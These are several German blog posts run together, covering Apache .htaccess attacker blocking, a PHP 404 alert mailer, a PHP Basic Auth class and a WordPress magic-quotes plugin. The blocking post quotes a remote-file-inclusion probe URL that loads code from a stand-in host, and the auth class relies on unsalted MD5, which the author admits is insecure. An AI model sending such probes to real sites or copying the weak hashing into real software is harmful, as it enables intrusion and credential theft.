Dem kann man zwar mit der Angabe der kanonischen URL im Markup begegnen, aber das kommt eigentlich zu spät: Ein menschlicher Besucher erfährt davon nichts; er wird eventuell die falsche URL in seinen Lesezeichen verwenden, oder in Links zu eurer Seite. Adressierungsprobleme sollten nicht im Markup gelöst werden, sondern auf der Protokollebene, in HTTP also.

Deshalb bleibt dieser Schnipsel in meinem Theme.

Noch ein Bugfix hat es in dieses Release geschafft, über den sich bestimmt jeder freut: Die URL eines Kommentators verschwindet jetzt nicht mehr, wenn man dessen Text bearbeitet.

Dafür müssen noch 48 Bugs, deren Reparatur für diese Version geplant war, auf die nächste warten. So sei es.

Zieht das Update. Es läuft problemlos (zumindest wenn man es per FTP durchführt) und ist auch schon auf Deutsch zu haben.

Immerhin wurde das Loch gestopft, wenngleich der Bug noch zuckt.

Update 04.08.09

Markus Wulftange hat eine Lösung gefunden, die per .htaccess und mod_rewrite funktioniert:

RewriteEngine On
RewriteBase /
RewriteCond %{THE_REQUEST} ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 [L,R=301]

Das ist deutlich besser als meine PHP-Variante.

Mehr Lektüre zum Thema

• .htaccess: Angriffe sehen und blockieren
• Ungebetene Gäste mit .htaccess blocken
• Website gehackt – und nun?

Auf dieses Problem gibt es drei Antworten:

1. Augen zu, und hoffen, daß es einen selbst nicht trifft. Das ist leider der Normalfall.
2. Möglichst viele Angriffe automatisiert schon bei der Anfrage erkennen und blockieren. Dazu habe ich schon einen Ansatz vorgestellt.
3. Nicht den einzelnen Angriff blockieren, sondern den Angreifer.

Heute möchte ich die dritte Variante anhand des Webservers Apache und der Steuerungsdatei .htaccess diskutieren. Sie funktioniert im Groben so:

1. Ich verbiete in der .htaccess die typischen XSS-Requests nicht mehr, sondern ich lasse mir eine E-Mail schicken, wenn ein Request mit dem Status 404 beantwortet wird.
2. In der E-Mail stehen dann die Details des Requests, natürlich auch die IP-Adresse.
3. Diese IP-Adresse überprüfe ich dann: Aus welchem Land kommt sie und von welchem Anbieter?
4. Deutsche Anbieter bekommen dann von mir eine Nachricht und die Bitte, das Problem aus der Welt zu räumen. Klappt oft ganz gut. Ein bißchen hoffe ich hier auch, daß dem Angreifer Vertrag gekündigt wird, über den er sein Script laufen läßt (Webhosting oder gar der eigene Internet-Anschluß).
5. Kommt die IP-Adresse woanders her, sperre ich sie per .htaccess. Dafür sind keine langsamen Rewrite-Regeln nötig, also profitieren alle anderen Besucher von einer verbesserten Performance.

Der Vorteil dieses Ansatzes: Wenn der Angreifer eine Methode probiert, die ich noch nicht kenne, spielt das kaum eine Rolle, denn er kann ja nicht mehr zugreifen. Üblicherweise testet er aber zuerst die einfachen Methoden, die ich sofort erkenne. Die sehen meistens so aus:

http://example.net//public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://example.com/id2.txt

Der Nachteil: Ich muß schnell reagieren. Wer nicht jeden Tag mehrere Stunden online ist, sollte diesen Weg nicht gehen.

Okay, genug der Theorie, zur Praxis!

Wir brauchen eine 404-Seite mit automatischem E-Mailversand. Das darf ganz einfach sein:

<?php
header('Content-Type: text/html;charset=utf-8');
header('HTTP/1.0 404 Not Found');
?>
<!doctype html>
<html lang="de">
<meta charset="utf-8">
<title>404</title>
<h1>404</h1>
<p><?php echo htmlspecialchars($_SERVER['REDIRECT_URL']); ?> haben wir nicht.
Zur <a href="/">Startseite</a>.</p>
<?php
// Yahoo und Google interessieren uns nicht.
if ( ! ( FALSE !== strpos($_SERVER['REQUEST_URI'], 'noexist' )
    or FALSE !== strpos($_SERVER['REQUEST_URI'], 'SlurpConfirm') ) )
{
  mail(
    'info@example.com',

    '404: '. $_SERVER['HTTP_HOST'] . addslashes($_SERVER['REQUEST_URI']),

    'Request:     '
        . $_SERVER['REQUEST_METHOD']
        . ' http://' . $_SERVER['HTTP_HOST']
        . $_SERVER['REQUEST_URI'] . "\r\n" .

    (isset($_SERVER['HTTP_REFERER']) ?
        'Referer:     ' . addslashes($_SERVER['HTTP_REFERER']) . "\r\n" : '') .

    (isset($_SERVER['HTTP_USER_AGENT']) ?
        'User-Agent:  ' . addslashes($_SERVER['HTTP_USER_AGENT']) . "\r\n" : '') .

    'IP:          http://ip-lookup.net/?ip='
        . ( isset ( $_SERVER['HTTP_X_FORWARDED_FOR'] )
            ? $_SERVER['HTTP_X_FORWARDED_FOR']
            : $_SERVER['REMOTE_ADDR'] ),

    'MIME-Version: 1.0' . "\r\n"
        . 'Content-Type: text/plain; charset=UTF-8' . "\r\n"
        . 'Content-Transfer-Encoding: 8bit' . "\r\n"
        . 'From: Error-Messenger <mail@' . $_SERVER['HTTP_HOST'] . '>' . "\r\n"
        . 'List-Id: "404" 404.List' . "\r\n"
  );
}

Die IP-Adresse verlinke ich gleich mit dem Service auf ip-lookup.net; die E-Mail-Adresse mußt du natürlich anpassen. Außerdem deklariere ich eine Mailingliste, damit mein Mailprogramm automatisch einen separaten Zugriffspunkt für diese Nachrichten einrichtet und nicht den Posteingang zumüllt.

Bei »legitimen« 404-Zugriffen, die durch harmloses Herumprobieren oder kaputte Links zustandekommen, lösche ich die E-Mail sofort. Das gebietet schon der Datenschutz. Die anderen hebe ich für eine Häufigkeitsanalyse auf.

Die .htaccess sieht jetzt (verkürzt dargestellt) so aus:

ErrorDocument 403 /403.php

order allow,deny

# Indien
deny from 122.168.68
deny from 203.94.228

# Korea (Sued)
deny from 61.100.189.234
deny from 114.200.199.144
deny from 141.223.5.12

# ... und noch viel mehr ...

allow from all

Die 403.php schickt den ungebetenen Gast einfach weg:

<?php
// 403
header('Location: http://localhost', TRUE, 301);
die();

Das ist zwar nicht gerade »technisch sauber«, aber es spart Traffic.

Download 403-404.

China blockiere ich inzwischen komplett. Das bedauere ich wirklich, aber es hat die Zahl der Angriffe um etwa 70—80% gesenkt. Allerdings hat das auch meine .htaccess auf über 40 KiB aufgebläht. Das kann je nach Server die Performance beeinträchtigen.
Testet solche drastischen Blockaden also gut, am besten dann, wenn gerade der meiste Traffic auf eurer Website herrscht. Hier ist das so gegen 13:00 Uhr an Wochentagen.

Ich betreue viele Websites; das Mailverfahren wende ich aber nur bei wenigen an. Dennoch profitieren alle davon, weil ich die so gewonnene Sperrliste ja überall einsetze.

Nachtrag: Freche Bots spürt man schnell auf, indem man in der robots.txt ein Verzeichnis verbietet, das nicht existiert. Etwa so:

User-agent: *
Disallow: /krafumpel

Jeder Zugriff darauf kommt von einem Spider, der sich absichtlich nicht an die Angabe hält (oder von einem neugierigen Besucher); das Mailscript bringt den Spuk dann gleich ans Licht.

Mehr Lektüre zum Thema

• Authentifizierung mit PHP und UTF-8
• Ungebetene Gäste mit .htaccess blocken
• Website gehackt – und nun?

Opera benutzt UTF-8, Firefox und Internet Explorer aber verwenden die Zeichenkodierung, die als lokaler Rückfallwert eingestellt wurde, auf einem deutschsprachigen System also meistens ISO-8859-1.

Der Apache kann – soweit ich weiß – nicht automatisch erkennen, ob eine Zeichenkette in UTF-8 kodiert wurde. Und diese Kette entsprechend umzuwandeln geht dann vollends über seine Fähigkeit und Kompetenz hinaus.

Mit PHP hingegen ist das sehr leicht möglich, wenn es als Modul arbeitet und nicht per CGI.
Hier will ich mal eine einfache Methode vorstellen, Umlaute in Benutzernamen und Paßwörtern zu erlauben. Ich habe diesen Code 2005 geschrieben; etwas später habe ich ihn auf PHP 5 umgestellt, und seither verwende ich ihn immer wieder in kleinen Projekten.
Die Funktionen is_utf8_compatible() und force_utf8() sollten in einer separaten Klasse liegen; ich habe sie hier nur der Übersichtlichkeit halber direkt in die Authentifizierungsklasse gesetzt.
Im ZIP-Archiv liegt auch eine Datei, die den praktischen Einsatz demonstriert.

Download: PHP-Klasse: HTTP_Auth.

Um die Diskussion zu erleichtern, sei hier der Quellcode im Original wiedergegeben:

class HTTP_Auth

<?php
/**
 * Sendet Authentifizierungsheader
 *
 * @category HTTP
 * @author   Thomas Scholz <http://toscho.de>
 * @version  1.0.1 (10.06.2009)
 * @access   public
 */

class HTTP_Auth {

    /**
     * Texte
     */
    private $messages = array(
        'realm'          => 'Passwortschutz!',
        'wrong_name'     => 'Der Nutzername stimmt nicht.',
        'no_password'    => 'Bitte geben Sie Ihr Passwort ein.',
        'wrong_password' => 'Das Passwort stimmt nicht.',
        'login_failed'   => 'Tja, Pech!<br>Zur <a href="/">Startseite</a>.</p>'
        );

    /* Constructor */
    public function __construct()
    {
        /* Nichts zu tun. */
    }

    public function set_message($name, $text)
    {
        $this->messages[$name] = $text;
    }

    /**
     * Prüft Nutzernamen und -paßwort
     * @param array $array_users Array aus name => password je in md5()
     * @return boolean
     */
    public function is_authuser($array_users)
    {
        if ( !isset ( $_SERVER['PHP_AUTH_USER'] ) )
        {
            $this->require_auth($this->messages['realm']);
        }
        else
        {
            $name = md5( $this->force_utf8($_SERVER['PHP_AUTH_USER']) );

            if ( !array_key_exists($name, $array_users) )
            {
                $this->require_auth($this->messages['wrong_name']);
            }
            if ( !isset ($_SERVER['PHP_AUTH_PW']) )
            {
                $this->require_auth($this->messages['no_password']);
            }
            elseif ( $array_users[$name] != md5(
                    $this->force_utf8($_SERVER['PHP_AUTH_PW']) )
                )
            {
                $this->require_auth($this->messages['wrong_password']);
            }
            else
            {
                return TRUE;
            }
        }
    }

    /**
     * Sendet Authentifizierungsheader.
     * @param string $realm Nachrichtentext
     * @return string
     */
    public function require_auth($realm)
    {
        header('WWW-Authenticate: Basic realm="' . $realm . '"');
        header('HTTP/1.0 401 Unauthorized');
        echo $this->messages['login_failed'];
        exit;
    }
    /**
     * Prüft einen String auf UTF-8-Kompatibilität.
     * RegEx von Martin Dürst
     * @source http://www.w3.org/International/questions/qa-forms-utf-8.html
     * @see http://toscho.de/2009/utf-8-erzwingen/
     * @param string $str String to check
     * @return boolean
     */
    public function is_utf8_compatible($str)
    {
        return preg_match("/^(
              [\x09\x0A\x0D\x20-\x7E]            # ASCII
            | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
            |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
            |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
            |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
            | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
            |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
            )*$/x",
            $str);
    }
    /**
     * Versucht, einen String nach UTF-8 zu konvertieren.
     *
     * @param string $str Zu kodierender String
     * @param string $inputEnc Vermutete Kodierung des Strings
     * @return string
     */
    function force_utf8($str, $inputEnc='WINDOWS-1252')
    {
        if ( $this->is_utf8_compatible($str) )
        {
            // Nichts zu tun.
            return $str;
        }

        if ( strtoupper($inputEnc) == 'ISO-8859-1')
        {
            return utf8_encode($str);
        }

        if ( function_exists('mb_convert_encoding') )
        {
            return mb_convert_encoding($str, 'UTF-8', $inputEnc);
        }

        if ( function_exists('iconv') )
        {
            return iconv($inputEnc, 'UTF-8', $str);
        }

        else
        { /* GAU! */
            return $str;
        }
    }
}

Eine Nutzerverwaltung gehört natürlich in separaten Code, denn sie sollte vom Authentifizierungsverfahren unabhängig sein.
Ich habe hier MD5-Hashwerte verwendet – diese gelten nicht mehr als sicher. Je nach Sicherheitsanforderung sollte man also einen anderen Algorithmus benutzen oder besser eine ganz andere Authentifizierungsmethode. Denn bei der hier vorgestellten Variante werden Nutzername und Paßwort im Klartext an den Webserver gesandt. Wenn das ein Problem ist, dann dürfte die Erzeugung des Hashwertes die kleinste Sorge sein …

Anwendungsbeispiel example.php

Hier wird hoffentlich klar, daß es ausreicht, nur die Hashwerte der Namen und Paßworte auf dem Server zu speichern – die Klasse arbeitet allein damit, muß die Originale also nicht kennen. Generell gilt: Speichere niemals Paßwörter im Klartext! Nicht in der Datenbank, nicht im PHP-Skript und auch nicht in Textdateien.

<?php
require_once 'class.HTTP_Auth.php';
header ("Content-Type: text/html;charset=utf-8");

$auth = new HTTP_Auth;

$users = array(
        // 'ö'   => 'ßüß'
        'a172480f4e21d0a124bac19c89569c59'      => '994510e17c01e8680c3147df0c8ea605',
        // So lieber nicht!
        md5('Gröfaz') => md5('Laß mich rein!')
    );
if ( $auth->is_authuser($users) )
{
    echo '<p style="padding: 20%; font:2em/1.5 serif">Hallo <b>'
        . $auth->force_utf8($_SERVER['PHP_AUTH_USER'])
        . '</b>, dein Passwort ist <b>'
        . $auth->force_utf8($_SERVER['PHP_AUTH_PW'])
        . '</b>!</p>';
}

Einschränkungen

In Deutschland leben etwa 7 Millionen Ausländer oder Menschen mit einer anderen Muttersprache als Deutsch.
Wer Türkisch als Muttersprache hat, wird die Daten vielleicht in ISO-8859-9 kodieren, wer vorrangig Russisch spricht, ISO-8859-2 – und so weiter. Da die übertragenen Daten zu kurz für eine automatische Erkennung sind, scheitert der hier vorgestellte Weg notwendig an solchen Problemen.

Der Zugriff auf Nicht-PHP-Dateien ist immer noch ohne Kontrolle möglich. Hierbei hat der Schutz per Server klar die Nase vorne. Man könnte natürlich sämtliche Aufrufe im zu schützenden Verzeichnis über das PHP-Skript schicken. Das finde ich aber nicht sehr … praktisch.

Das Handbuch listet die Nachteile auf:

• Portabilität: Ob man Magic Quotes an- oder abgeschaltet erwartet: In beiden Fällen kann man den Code nicht ohne zusätzliche Kontrolle auf einem anderen System einsetzen.
• Performance: Nicht alle maskierten Daten landen in einer Datenbank, deshalb müssen sie auch nicht alle so behandelt werden. Ein gezieltes addslashes() ist viel schneller.
• Mehraufwand: Da bei vielen Daten die Maskierungen nur stören, muß man oft exzessiv mit stripslashes() herumbasteln.

Im WordPress-Forum hatte gestern jemand das Problem eingeschalteter Magic Quotes, die das Markup seiner Beiträge verschandelt haben.
Letztendlich hat er es im Backend seines Hosters abschalten können, aber in der Diskussion ist ein kleines Plugin entstanden, das vielleicht anderen hilft:

Download remove-magic-quotes.zip

<?php
/*
Plugin Name: Remove Magic Quotes
Description: Entfernt nutzlose Backslashes.
Version: 0.1
Author: Thomas Scholz
Author URI: http://toscho.de
*/
RMQ::gpc_strip_slashes();
class RMQ {
    static function gpc_strip_slashes()
    {
        if ( get_magic_quotes_gpc() )
        {
            $_REQUEST = RMQ::array_map_recursive('stripslashes', $_REQUEST);
            $_GET     = RMQ::array_map_recursive('stripslashes', $_GET);
            $_POST    = RMQ::array_map_recursive('stripslashes', $_POST);
            $_COOKIE  = RMQ::array_map_recursive('stripslashes', $_COOKIE);
        } 

        return;
    }
    /**
     * Deeper array_map()
     *
     * @param string $callback Callback function to map
     * @param array $array Array to map
     * @source http://www.sitepoint.com/blogs/2005/03/02/magic-quotes-headaches/
     * @return array
     */
    static function array_map_recursive($callback, $array)
    {
        $r = array(); 

        if ( is_array($array) )
        {
            foreach ( $array as $k => $v )
            {
                $r[$k] = is_scalar($v)
                    ? $callback($v)
                    : RMQ::array_map_recursive($callback, $v);
            }
        } 

        return $r;
    }
}

Das ZIP-Archiv enthält eine Datei, die man einfach ins Plugin-Verzeichnis legt und dann im Backend aktiviert.

Ich benutze einen fast identischen Code in all meinen PHP-Scripten. Seltsam finde ich nur, daß er im WordPress-Code fehlt …